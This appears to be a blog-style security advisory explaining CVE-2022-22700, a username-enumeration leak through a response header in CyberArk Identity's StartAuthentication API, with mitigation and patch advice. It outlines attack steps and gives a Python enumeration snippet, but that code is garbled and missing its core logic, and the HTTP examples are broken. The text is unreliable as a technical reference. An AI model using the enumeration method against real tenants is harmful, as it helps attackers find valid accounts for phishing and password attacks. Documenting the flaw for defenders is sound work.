In early 2022, security researchers discovered a subtle but significant information disclosure vulnerability in CyberArk Identity (versions up to 22.1). The issue, identified as CVE-2022-22700, affects the StartAuthentication API resource and impacts user privacy in multi-tenant environments. Specifically, the system’s HTTP response exposes a header—X-CFY-TX-TM—which provides clues about whether a given username exists in the tenant. This post breaks down how the vulnerability works, provides code snippets for demonstration, and explores its implications and mitigation.

Component Affected: CyberArk Identity (up to 22.1)

- Vulnerable API: /StartAuthentication

Root Cause: Information leakage via HTTP response header X-CFY-TX-TM

- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2022-22700
- Vendor Advisory: CyberArk Security Advisory

What’s the Big Deal?

In an ideal world, authentication APIs should not leak *any* information about user existence. Sometimes, the way a system responds may accidentally tell an attacker if a username is valid. In CyberArk Identity’s StartAuthentication endpoint, the X-CFY-TX-TM header showed an observable difference when given a valid vs. invalid username. That’s a privacy risk because attackers can enumerate accounts silently.

1. The StartAuthentication Endpoint

The endpoint is designed to kick off an authentication sequence. Here’s a typical request/response workflow:

Request Example

POST /cloud/StartAuthentication
Host: identity.example.com
Content-Type: application/json

{
  "User": "alice@example.com",
  "Version": "1."
}

`http

HTTP/1.1 200 OK

X-CFY-TX-TM: 1982374  <-- Higher or specific value

...

- For NON-EXISTENT user:

http
 HTTP/1.1 200 OK

X-CFY-TX-TM: 81512  <-- Significant, low, or otherwise predictable difference

...


The attacker can send automated requests and watch that header for subtle clues.

### 2. Information Disclosure: Code Demonstration

The following Python snippet demonstrates automated user enumeration based on the vulnerable response header.

python
import requests

"Version": "1."

}

return x_cfy_tx_tm

api_url = "https://identity.example.com/cloud/StartAuthentication"

test_users = ["alice@example.com", "bob@example.com", "fakeuser123@example.com"]

print(f"User: {user} header_val: {header_val}")

<br><br>If you try this with a list of usernames, you will see two distinct patterns in the header value: one for real (existing) users, and another for accounts that don’t exist.<br><br>---<br><br>## Exploit Details<br><br><b>Practical impact</b>: An attacker with a list of potential emails/usernames can enumerate valid accounts in a tenant simply by observing the returned header, without generating suspicious login failures or alerts.<br><br><b>Steps for Attack:</b><br>1. Prepare a list of email addresses or usernames.<br>2. Send a StartAuthentication request for each.<br>3. Analyze the X-CFY-TX-TM` response header.
4. Identify which accounts exist based on the header values.

Real-World Use:
- Preparation for further password attacks (like phishing, brute-force, credential stuffing).
- Gathered intelligence could be sold or used for later spear-phishing campaigns.
- Bypass SIEM and brute-force detection, since “no wrong password” is ever submitted!

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## Mitigation & Fixes

- Update CyberArk Identity: Version 22.2 and onward patches this leakage.
- Vendor Guidance: Official Release Notes & Advisory
- WAF Rate Limiting: Slow down bulk enumeration as a workaround.
- Header Obfuscation: Vendors should avoid differential or meaningful header values.

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## Links & References

- NVD CVE Report
- CyberArk Advisory - Release Notes
- OWASP Authentication Cheat Sheet
- CyberArk Docs - StartAuthentication

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## Conclusion

CVE-2022-22700 is a classic example of how even harmless-looking metadata, like a response header, can turn into an information leak with serious security and privacy implications. Always pay attention to what your applications are exposing—not just in the body, but also in headers and timings. Remember, attackers only need one clue to get started.

If you use CyberArk Identity, update your system ASAP.

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*Stay safe, and keep learning how seemingly small leaks can lead to big problems!*

Timeline

Published on: 03/03/2022 19:15:00 UTC
Last modified on: 03/09/2022 20:22:00 UTC